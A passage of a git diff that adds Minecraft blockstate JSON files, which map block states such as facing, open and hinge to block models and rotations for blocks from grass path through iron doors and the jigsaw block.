@@ +{ + "variants": { + "": [ + { + "model": "minecraft:block/grass_path" + }, + { + "model": "minecraft:block/grass_path", + "y": 90 + }, + { + "model": "minecraft:block/grass_path", + "y": 180 + }, + { + "model": "minecraft:block/grass_path", + "y": 270 + } + ] + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/gravel.json b/src/assets/minecraft/blockstates/gravel.json new file mode 100644 index 00000000..7f037234 --- /dev/null +++ b/src/assets/minecraft/blockstates/gravel.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/gravel" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/gray_banner.json b/src/assets/minecraft/blockstates/gray_banner.json new file mode 100644 index 00000000..f5e2c87f --- /dev/null +++ b/src/assets/minecraft/blockstates/gray_banner.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/banner" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/gray_bed.json b/src/assets/minecraft/blockstates/gray_bed.json new file mode 100644 index 00000000..6577c90a --- /dev/null +++ b/src/assets/minecraft/blockstates/gray_bed.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/bed" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/gray_carpet.json b/src/assets/minecraft/blockstates/gray_carpet.json new file mode 100644 index 00000000..05f0cc60 --- /dev/null +++ b/src/assets/minecraft/blockstates/gray_carpet.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/gray_carpet" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/gray_concrete.json b/src/assets/minecraft/blockstates/gray_concrete.json new file mode 100644 index 00000000..95c74d4a --- /dev/null +++ b/src/assets/minecraft/blockstates/gray_concrete.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/gray_concrete" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/gray_concrete_powder.json b/src/assets/minecraft/blockstates/gray_concrete_powder.json new file mode 100644 index 00000000..1d83c562 --- /dev/null +++ b/src/assets/minecraft/blockstates/gray_concrete_powder.json @@ -0,0 +1,21 @@ +{ + "variants": { + "": [ + { + "model": "minecraft:block/gray_concrete_powder" + }, + { + "model": "minecraft:block/gray_concrete_powder", + "y": 90 + }, + { + "model": "minecraft:block/gray_concrete_powder", + "y": 180 + }, + { + "model": "minecraft:block/gray_concrete_powder", + "y": 270 + } + ] + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/gray_glazed_terracotta.json b/src/assets/minecraft/blockstates/gray_glazed_terracotta.json new file mode 100644 index 00000000..4315e7d7 --- /dev/null +++ b/src/assets/minecraft/blockstates/gray_glazed_terracotta.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/gray_glazed_terracotta", + "y": 270 + }, + "facing=north": { + "model": "minecraft:block/gray_glazed_terracotta", + "y": 180 + }, + "facing=south": { + "model": "minecraft:block/gray_glazed_terracotta" + }, + "facing=west": { + "model": "minecraft:block/gray_glazed_terracotta", + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/gray_shulker_box.json b/src/assets/minecraft/blockstates/gray_shulker_box.json new file mode 100644 index 00000000..8dd3ead2 --- /dev/null +++ b/src/assets/minecraft/blockstates/gray_shulker_box.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/gray_shulker_box" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/gray_stained_glass.json b/src/assets/minecraft/blockstates/gray_stained_glass.json new file mode 100644 index 00000000..d7d76b1a --- /dev/null +++ b/src/assets/minecraft/blockstates/gray_stained_glass.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/gray_stained_glass" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/gray_stained_glass_pane.json b/src/assets/minecraft/blockstates/gray_stained_glass_pane.json new file mode 100644 index 00000000..daba2d27 --- /dev/null +++ b/src/assets/minecraft/blockstates/gray_stained_glass_pane.json @@ -0,0 +1,77 @@ +{ + "multipart": [ + { + "apply": { + "model": "minecraft:block/gray_stained_glass_pane_post" + } + }, + { + "when": { + "north": "true" + }, + "apply": { + "model": "minecraft:block/gray_stained_glass_pane_side" + } + }, + { + "when": { + "east": "true" + }, + "apply": { + "model": "minecraft:block/gray_stained_glass_pane_side", + "y": 90 + } + }, + { + "when": { + "south": "true" + }, + "apply": { + "model": "minecraft:block/gray_stained_glass_pane_side_alt" + } + }, + { + "when": { + "west": "true" + }, + "apply": { + "model": "minecraft:block/gray_stained_glass_pane_side_alt", + "y": 90 + } + }, + { + "when": { + "north": "false" + }, + "apply": { + "model": "minecraft:block/gray_stained_glass_pane_noside" + } + }, + { + "when": { + "east": "false" + }, + "apply": { + "model": "minecraft:block/gray_stained_glass_pane_noside_alt" + } + }, + { + "when": { + "south": "false" + }, + "apply": { + "model": "minecraft:block/gray_stained_glass_pane_noside_alt", + "y": 90 + } + }, + { + "when": { + "west": "false" + }, + "apply": { + "model": "minecraft:block/gray_stained_glass_pane_noside", + "y": 270 + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/gray_terracotta.json b/src/assets/minecraft/blockstates/gray_terracotta.json new file mode 100644 index 00000000..c605f3d0 --- /dev/null +++ b/src/assets/minecraft/blockstates/gray_terracotta.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/gray_terracotta" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/gray_wall_banner.json b/src/assets/minecraft/blockstates/gray_wall_banner.json new file mode 100644 index 00000000..f5e2c87f --- /dev/null +++ b/src/assets/minecraft/blockstates/gray_wall_banner.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/banner" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/gray_wool.json b/src/assets/minecraft/blockstates/gray_wool.json new file mode 100644 index 00000000..001779de --- /dev/null +++ b/src/assets/minecraft/blockstates/gray_wool.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/gray_wool" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/green_banner.json b/src/assets/minecraft/blockstates/green_banner.json new file mode 100644 index 00000000..f5e2c87f --- /dev/null +++ b/src/assets/minecraft/blockstates/green_banner.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/banner" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/green_bed.json b/src/assets/minecraft/blockstates/green_bed.json new file mode 100644 index 00000000..6577c90a --- /dev/null +++ b/src/assets/minecraft/blockstates/green_bed.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/bed" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/green_carpet.json b/src/assets/minecraft/blockstates/green_carpet.json new file mode 100644 index 00000000..83ea2c2d --- /dev/null +++ b/src/assets/minecraft/blockstates/green_carpet.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/green_carpet" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/green_concrete.json b/src/assets/minecraft/blockstates/green_concrete.json new file mode 100644 index 00000000..3ac2d62c --- /dev/null +++ b/src/assets/minecraft/blockstates/green_concrete.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/green_concrete" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/green_concrete_powder.json b/src/assets/minecraft/blockstates/green_concrete_powder.json new file mode 100644 index 00000000..ee2e37dc --- /dev/null +++ b/src/assets/minecraft/blockstates/green_concrete_powder.json @@ -0,0 +1,21 @@ +{ + "variants": { + "": [ + { + "model": "minecraft:block/green_concrete_powder" + }, + { + "model": "minecraft:block/green_concrete_powder", + "y": 90 + }, + { + "model": "minecraft:block/green_concrete_powder", + "y": 180 + }, + { + "model": "minecraft:block/green_concrete_powder", + "y": 270 + } + ] + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/green_glazed_terracotta.json b/src/assets/minecraft/blockstates/green_glazed_terracotta.json new file mode 100644 index 00000000..4c991e2e --- /dev/null +++ b/src/assets/minecraft/blockstates/green_glazed_terracotta.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/green_glazed_terracotta", + "y": 270 + }, + "facing=north": { + "model": "minecraft:block/green_glazed_terracotta", + "y": 180 + }, + "facing=south": { + "model": "minecraft:block/green_glazed_terracotta" + }, + "facing=west": { + "model": "minecraft:block/green_glazed_terracotta", + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/green_shulker_box.json b/src/assets/minecraft/blockstates/green_shulker_box.json new file mode 100644 index 00000000..e8c32e0d --- /dev/null +++ b/src/assets/minecraft/blockstates/green_shulker_box.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/green_shulker_box" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/green_stained_glass.json b/src/assets/minecraft/blockstates/green_stained_glass.json new file mode 100644 index 00000000..ca4fec40 --- /dev/null +++ b/src/assets/minecraft/blockstates/green_stained_glass.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/green_stained_glass" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/green_stained_glass_pane.json b/src/assets/minecraft/blockstates/green_stained_glass_pane.json new file mode 100644 index 00000000..a9de0128 --- /dev/null +++ b/src/assets/minecraft/blockstates/green_stained_glass_pane.json @@ -0,0 +1,77 @@ +{ + "multipart": [ + { + "apply": { + "model": "minecraft:block/green_stained_glass_pane_post" + } + }, + { + "when": { + "north": "true" + }, + "apply": { + "model": "minecraft:block/green_stained_glass_pane_side" + } + }, + { + "when": { + "east": "true" + }, + "apply": { + "model": "minecraft:block/green_stained_glass_pane_side", + "y": 90 + } + }, + { + "when": { + "south": "true" + }, + "apply": { + "model": "minecraft:block/green_stained_glass_pane_side_alt" + } + }, + { + "when": { + "west": "true" + }, + "apply": { + "model": "minecraft:block/green_stained_glass_pane_side_alt", + "y": 90 + } + }, + { + "when": { + "north": "false" + }, + "apply": { + "model": "minecraft:block/green_stained_glass_pane_noside" + } + }, + { + "when": { + "east": "false" + }, + "apply": { + "model": "minecraft:block/green_stained_glass_pane_noside_alt" + } + }, + { + "when": { + "south": "false" + }, + "apply": { + "model": "minecraft:block/green_stained_glass_pane_noside_alt", + "y": 90 + } + }, + { + "when": { + "west": "false" + }, + "apply": { + "model": "minecraft:block/green_stained_glass_pane_noside", + "y": 270 + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/green_terracotta.json b/src/assets/minecraft/blockstates/green_terracotta.json new file mode 100644 index 00000000..3bf40d83 --- /dev/null +++ b/src/assets/minecraft/blockstates/green_terracotta.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/green_terracotta" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/green_wall_banner.json b/src/assets/minecraft/blockstates/green_wall_banner.json new file mode 100644 index 00000000..f5e2c87f --- /dev/null +++ b/src/assets/minecraft/blockstates/green_wall_banner.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/banner" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/green_wool.json b/src/assets/minecraft/blockstates/green_wool.json new file mode 100644 index 00000000..89537035 --- /dev/null +++ b/src/assets/minecraft/blockstates/green_wool.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/green_wool" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/grindstone.json b/src/assets/minecraft/blockstates/grindstone.json new file mode 100644 index 00000000..244481d0 --- /dev/null +++ b/src/assets/minecraft/blockstates/grindstone.json @@ -0,0 +1,57 @@ +{ + "variants": { + "face=ceiling,facing=east": { + "model": "minecraft:block/grindstone", + "x": 180, + "y": 270 + }, + "face=ceiling,facing=north": { + "model": "minecraft:block/grindstone", + "x": 180, + "y": 180 + }, + "face=ceiling,facing=south": { + "model": "minecraft:block/grindstone", + "x": 180 + }, + "face=ceiling,facing=west": { + "model": "minecraft:block/grindstone", + "x": 180, + "y": 90 + }, + "face=floor,facing=east": { + "model": "minecraft:block/grindstone", + "y": 90 + }, + "face=floor,facing=north": { + "model": "minecraft:block/grindstone" + }, + "face=floor,facing=south": { + "model": "minecraft:block/grindstone", + "y": 180 + }, + "face=floor,facing=west": { + "model": "minecraft:block/grindstone", + "y": 270 + }, + "face=wall,facing=east": { + "model": "minecraft:block/grindstone", + "x": 90, + "y": 90 + }, + "face=wall,facing=north": { + "model": "minecraft:block/grindstone", + "x": 90 + }, + "face=wall,facing=south": { + "model": "minecraft:block/grindstone", + "x": 90, + "y": 180 + }, + "face=wall,facing=west": { + "model": "minecraft:block/grindstone", + "x": 90, + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/hay_block.json b/src/assets/minecraft/blockstates/hay_block.json new file mode 100644 index 00000000..63467f1b --- /dev/null +++ b/src/assets/minecraft/blockstates/hay_block.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/hay_block_horizontal", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/hay_block" + }, + "axis=z": { + "model": "minecraft:block/hay_block_horizontal", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/heavy_weighted_pressure_plate.json b/src/assets/minecraft/blockstates/heavy_weighted_pressure_plate.json new file mode 100644 index 00000000..3f2b8800 --- /dev/null +++ b/src/assets/minecraft/blockstates/heavy_weighted_pressure_plate.json @@ -0,0 +1,52 @@ +{ + "variants": { + "power=0": { + "model": "minecraft:block/heavy_weighted_pressure_plate" + }, + "power=1": { + "model": "minecraft:block/heavy_weighted_pressure_plate_down" + }, + "power=10": { + "model": "minecraft:block/heavy_weighted_pressure_plate_down" + }, + "power=11": { + "model": "minecraft:block/heavy_weighted_pressure_plate_down" + }, + "power=12": { + "model": "minecraft:block/heavy_weighted_pressure_plate_down" + }, + "power=13": { + "model": "minecraft:block/heavy_weighted_pressure_plate_down" + }, + "power=14": { + "model": "minecraft:block/heavy_weighted_pressure_plate_down" + }, + "power=15": { + "model": "minecraft:block/heavy_weighted_pressure_plate_down" + }, + "power=2": { + "model": "minecraft:block/heavy_weighted_pressure_plate_down" + }, + "power=3": { + "model": "minecraft:block/heavy_weighted_pressure_plate_down" + }, + "power=4": { + "model": "minecraft:block/heavy_weighted_pressure_plate_down" + }, + "power=5": { + "model": "minecraft:block/heavy_weighted_pressure_plate_down" + }, + "power=6": { + "model": "minecraft:block/heavy_weighted_pressure_plate_down" + }, + "power=7": { + "model": "minecraft:block/heavy_weighted_pressure_plate_down" + }, + "power=8": { + "model": "minecraft:block/heavy_weighted_pressure_plate_down" + }, + "power=9": { + "model": "minecraft:block/heavy_weighted_pressure_plate_down" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/honey_block.json b/src/assets/minecraft/blockstates/honey_block.json new file mode 100644 index 00000000..337f73f9 --- /dev/null +++ b/src/assets/minecraft/blockstates/honey_block.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/honey_block" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/honeycomb_block.json b/src/assets/minecraft/blockstates/honeycomb_block.json new file mode 100644 index 00000000..b8a98bb3 --- /dev/null +++ b/src/assets/minecraft/blockstates/honeycomb_block.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/honeycomb_block" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/hopper.json b/src/assets/minecraft/blockstates/hopper.json new file mode 100644 index 00000000..be15ea37 --- /dev/null +++ b/src/assets/minecraft/blockstates/hopper.json @@ -0,0 +1,22 @@ +{ + "variants": { + "facing=down": { + "model": "minecraft:block/hopper" + }, + "facing=east": { + "model": "minecraft:block/hopper_side", + "y": 90 + }, + "facing=north": { + "model": "minecraft:block/hopper_side" + }, + "facing=south": { + "model": "minecraft:block/hopper_side", + "y": 180 + }, + "facing=west": { + "model": "minecraft:block/hopper_side", + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/horn_coral.json b/src/assets/minecraft/blockstates/horn_coral.json new file mode 100644 index 00000000..c7665173 --- /dev/null +++ b/src/assets/minecraft/blockstates/horn_coral.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/horn_coral" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/horn_coral_block.json b/src/assets/minecraft/blockstates/horn_coral_block.json new file mode 100644 index 00000000..6f8f199f --- /dev/null +++ b/src/assets/minecraft/blockstates/horn_coral_block.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/horn_coral_block" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/horn_coral_fan.json b/src/assets/minecraft/blockstates/horn_coral_fan.json new file mode 100644 index 00000000..99f08549 --- /dev/null +++ b/src/assets/minecraft/blockstates/horn_coral_fan.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/horn_coral_fan" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/horn_coral_wall_fan.json b/src/assets/minecraft/blockstates/horn_coral_wall_fan.json new file mode 100644 index 00000000..07d22ed0 --- /dev/null +++ b/src/assets/minecraft/blockstates/horn_coral_wall_fan.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/horn_coral_wall_fan", + "y": 90 + }, + "facing=north": { + "model": "minecraft:block/horn_coral_wall_fan" + }, + "facing=south": { + "model": "minecraft:block/horn_coral_wall_fan", + "y": 180 + }, + "facing=west": { + "model": "minecraft:block/horn_coral_wall_fan", + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/ice.json b/src/assets/minecraft/blockstates/ice.json new file mode 100644 index 00000000..0617dfc3 --- /dev/null +++ b/src/assets/minecraft/blockstates/ice.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/ice" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/infested_chiseled_stone_bricks.json b/src/assets/minecraft/blockstates/infested_chiseled_stone_bricks.json new file mode 100644 index 00000000..4034c11b --- /dev/null +++ b/src/assets/minecraft/blockstates/infested_chiseled_stone_bricks.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/chiseled_stone_bricks" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/infested_cobblestone.json b/src/assets/minecraft/blockstates/infested_cobblestone.json new file mode 100644 index 00000000..e94cf882 --- /dev/null +++ b/src/assets/minecraft/blockstates/infested_cobblestone.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/cobblestone" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/infested_cracked_stone_bricks.json b/src/assets/minecraft/blockstates/infested_cracked_stone_bricks.json new file mode 100644 index 00000000..6e194be2 --- /dev/null +++ b/src/assets/minecraft/blockstates/infested_cracked_stone_bricks.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/cracked_stone_bricks" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/infested_mossy_stone_bricks.json b/src/assets/minecraft/blockstates/infested_mossy_stone_bricks.json new file mode 100644 index 00000000..c17c4a7f --- /dev/null +++ b/src/assets/minecraft/blockstates/infested_mossy_stone_bricks.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/mossy_stone_bricks" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/infested_stone.json b/src/assets/minecraft/blockstates/infested_stone.json new file mode 100644 index 00000000..c150ec29 --- /dev/null +++ b/src/assets/minecraft/blockstates/infested_stone.json @@ -0,0 +1,20 @@ +{ + "variants": { + "": [ + { + "model": "minecraft:block/stone" + }, + { + "model": "minecraft:block/stone_mirrored" + }, + { + "model": "minecraft:block/stone", + "y": 180 + }, + { + "model": "minecraft:block/stone_mirrored", + "y": 180 + } + ] + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/infested_stone_bricks.json b/src/assets/minecraft/blockstates/infested_stone_bricks.json new file mode 100644 index 00000000..8a05daf0 --- /dev/null +++ b/src/assets/minecraft/blockstates/infested_stone_bricks.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/stone_bricks" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/iron_bars.json b/src/assets/minecraft/blockstates/iron_bars.json new file mode 100644 index 00000000..0ded4b61 --- /dev/null +++ b/src/assets/minecraft/blockstates/iron_bars.json @@ -0,0 +1,100 @@ +{ + "multipart": [ + { + "apply": { + "model": "minecraft:block/iron_bars_post_ends" + } + }, + { + "when": { + "west": "false", + "east": "false", + "south": "false", + "north": "false" + }, + "apply": { + "model": "minecraft:block/iron_bars_post" + } + }, + { + "when": { + "west": "false", + "east": "false", + "south": "false", + "north": "true" + }, + "apply": { + "model": "minecraft:block/iron_bars_cap" + } + }, + { + "when": { + "west": "false", + "east": "true", + "south": "false", + "north": "false" + }, + "apply": { + "model": "minecraft:block/iron_bars_cap", + "y": 90 + } + }, + { + "when": { + "west": "false", + "east": "false", + "south": "true", + "north": "false" + }, + "apply": { + "model": "minecraft:block/iron_bars_cap_alt" + } + }, + { + "when": { + "west": "true", + "east": "false", + "south": "false", + "north": "false" + }, + "apply": { + "model": "minecraft:block/iron_bars_cap_alt", + "y": 90 + } + }, + { + "when": { + "north": "true" + }, + "apply": { + "model": "minecraft:block/iron_bars_side" + } + }, + { + "when": { + "east": "true" + }, + "apply": { + "model": "minecraft:block/iron_bars_side", + "y": 90 + } + }, + { + "when": { + "south": "true" + }, + "apply": { + "model": "minecraft:block/iron_bars_side_alt" + } + }, + { + "when": { + "west": "true" + }, + "apply": { + "model": "minecraft:block/iron_bars_side_alt", + "y": 90 + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/iron_block.json b/src/assets/minecraft/blockstates/iron_block.json new file mode 100644 index 00000000..5cad8c39 --- /dev/null +++ b/src/assets/minecraft/blockstates/iron_block.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/iron_block" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/iron_door.json b/src/assets/minecraft/blockstates/iron_door.json new file mode 100644 index 00000000..fd4ca701 --- /dev/null +++ b/src/assets/minecraft/blockstates/iron_door.json @@ -0,0 +1,124 @@ +{ + "variants": { + "facing=east,half=lower,hinge=left,open=false": { + "model": "minecraft:block/iron_door_bottom" + }, + "facing=east,half=lower,hinge=left,open=true": { + "model": "minecraft:block/iron_door_bottom_hinge", + "y": 90 + }, + "facing=east,half=lower,hinge=right,open=false": { + "model": "minecraft:block/iron_door_bottom_hinge" + }, + "facing=east,half=lower,hinge=right,open=true": { + "model": "minecraft:block/iron_door_bottom", + "y": 270 + }, + "facing=east,half=upper,hinge=left,open=false": { + "model": "minecraft:block/iron_door_top" + }, + "facing=east,half=upper,hinge=left,open=true": { + "model": "minecraft:block/iron_door_top_hinge", + "y": 90 + }, + "facing=east,half=upper,hinge=right,open=false": { + "model": "minecraft:block/iron_door_top_hinge" + }, + "facing=east,half=upper,hinge=right,open=true": { + "model": "minecraft:block/iron_door_top", + "y": 270 + }, + "facing=north,half=lower,hinge=left,open=false": { + "model": "minecraft:block/iron_door_bottom", + "y": 270 + }, + "facing=north,half=lower,hinge=left,open=true": { + "model": "minecraft:block/iron_door_bottom_hinge" + }, + "facing=north,half=lower,hinge=right,open=false": { + "model": "minecraft:block/iron_door_bottom_hinge", + "y": 270 + }, + "facing=north,half=lower,hinge=right,open=true": { + "model": "minecraft:block/iron_door_bottom", + "y": 180 + }, + "facing=north,half=upper,hinge=left,open=false": { + "model": "minecraft:block/iron_door_top", + "y": 270 + }, + "facing=north,half=upper,hinge=left,open=true": { + "model": "minecraft:block/iron_door_top_hinge" + }, + "facing=north,half=upper,hinge=right,open=false": { + "model": "minecraft:block/iron_door_top_hinge", + "y": 270 + }, + "facing=north,half=upper,hinge=right,open=true": { + "model": "minecraft:block/iron_door_top", + "y": 180 + }, + "facing=south,half=lower,hinge=left,open=false": { + "model": "minecraft:block/iron_door_bottom", + "y": 90 + }, + "facing=south,half=lower,hinge=left,open=true": { + "model": "minecraft:block/iron_door_bottom_hinge", + "y": 180 + }, + "facing=south,half=lower,hinge=right,open=false": { + "model": "minecraft:block/iron_door_bottom_hinge", + "y": 90 + }, + "facing=south,half=lower,hinge=right,open=true": { + "model": "minecraft:block/iron_door_bottom" + }, + "facing=south,half=upper,hinge=left,open=false": { + "model": "minecraft:block/iron_door_top", + "y": 90 + }, + "facing=south,half=upper,hinge=left,open=true": { + "model": "minecraft:block/iron_door_top_hinge", + "y": 180 + }, + "facing=south,half=upper,hinge=right,open=false": { + "model": "minecraft:block/iron_door_top_hinge", + "y": 90 + }, + "facing=south,half=upper,hinge=right,open=true": { + "model": "minecraft:block/iron_door_top" + }, + "facing=west,half=lower,hinge=left,open=false": { + "model": "minecraft:block/iron_door_bottom", + "y": 180 + }, + "facing=west,half=lower,hinge=left,open=true": { + "model": "minecraft:block/iron_door_bottom_hinge", + "y": 270 + }, + "facing=west,half=lower,hinge=right,open=false": { + "model": "minecraft:block/iron_door_bottom_hinge", + "y": 180 + }, + "facing=west,half=lower,hinge=right,open=true": { + "model": "minecraft:block/iron_door_bottom", + "y": 90 + }, + "facing=west,half=upper,hinge=left,open=false": { + "model": "minecraft:block/iron_door_top", + "y": 180 + }, + "facing=west,half=upper,hinge=left,open=true": { + "model": "minecraft:block/iron_door_top_hinge", + "y": 270 + }, + "facing=west,half=upper,hinge=right,open=false": { + "model": "minecraft:block/iron_door_top_hinge", + "y": 180 + }, + "facing=west,half=upper,hinge=right,open=true": { + "model": "minecraft:block/iron_door_top", + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/iron_ore.json b/src/assets/minecraft/blockstates/iron_ore.json new file mode 100644 index 00000000..c514e64b --- /dev/null +++ b/src/assets/minecraft/blockstates/iron_ore.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/iron_ore" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/iron_trapdoor.json b/src/assets/minecraft/blockstates/iron_trapdoor.json new file mode 100644 index 00000000..df0b2b3d --- /dev/null +++ b/src/assets/minecraft/blockstates/iron_trapdoor.json @@ -0,0 +1,58 @@ +{ + "variants": { + "facing=east,half=bottom,open=false": { + "model": "minecraft:block/iron_trapdoor_bottom" + }, + "facing=east,half=bottom,open=true": { + "model": "minecraft:block/iron_trapdoor_open", + "y": 90 + }, + "facing=east,half=top,open=false": { + "model": "minecraft:block/iron_trapdoor_top" + }, + "facing=east,half=top,open=true": { + "model": "minecraft:block/iron_trapdoor_open", + "y": 90 + }, + "facing=north,half=bottom,open=false": { + "model": "minecraft:block/iron_trapdoor_bottom" + }, + "facing=north,half=bottom,open=true": { + "model": "minecraft:block/iron_trapdoor_open" + }, + "facing=north,half=top,open=false": { + "model": "minecraft:block/iron_trapdoor_top" + }, + "facing=north,half=top,open=true": { + "model": "minecraft:block/iron_trapdoor_open" + }, + "facing=south,half=bottom,open=false": { + "model": "minecraft:block/iron_trapdoor_bottom" + }, + "facing=south,half=bottom,open=true": { + "model": "minecraft:block/iron_trapdoor_open", + "y": 180 + }, + "facing=south,half=top,open=false": { + "model": "minecraft:block/iron_trapdoor_top" + }, + "facing=south,half=top,open=true": { + "model": "minecraft:block/iron_trapdoor_open", + "y": 180 + }, + "facing=west,half=bottom,open=false": { + "model": "minecraft:block/iron_trapdoor_bottom" + }, + "facing=west,half=bottom,open=true": { + "model": "minecraft:block/iron_trapdoor_open", + "y": 270 + }, + "facing=west,half=top,open=false": { + "model": "minecraft:block/iron_trapdoor_top" + }, + "facing=west,half=top,open=true": { + "model": "minecraft:block/iron_trapdoor_open", + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/item_frame.json b/src/assets/minecraft/blockstates/item_frame.json new file mode 100644 index 00000000..7b70ec00 --- /dev/null +++ b/src/assets/minecraft/blockstates/item_frame.json @@ -0,0 +1,6 @@ +{ + "variants": { + "map=false": { "model": "block/item_frame" }, + "map=true": { "model": "block/item_frame_map" } + } +} diff --git a/src/assets/minecraft/blockstates/jack_o_lantern.json b/src/assets/minecraft/blockstates/jack_o_lantern.json new file mode 100644 index 00000000..7454ebab --- /dev/null +++ b/src/assets/minecraft/blockstates/jack_o_lantern.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/jack_o_lantern", + "y": 90 + }, + "facing=north": { + "model": "minecraft:block/jack_o_lantern" + }, + "facing=south": { + "model": "minecraft:block/jack_o_lantern", + "y": 180 + }, + "facing=west": { + "model": "minecraft:block/jack_o_lantern", + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/jigsaw.json b/src/assets/minecraft/blockstates/jigsaw.json new file mode 100644 index 00000000..8f24d193 --- /dev/null +++ b/src/assets/minecraft/blockstates/jigsaw.json @@ -0,0 +1,57 @@ +{ + "variants": { + "orientation=down_east": { + "model": "minecraft:block/jigsaw", + "x": 90, + "y": 90 + }, + "orientation=down_north": { + 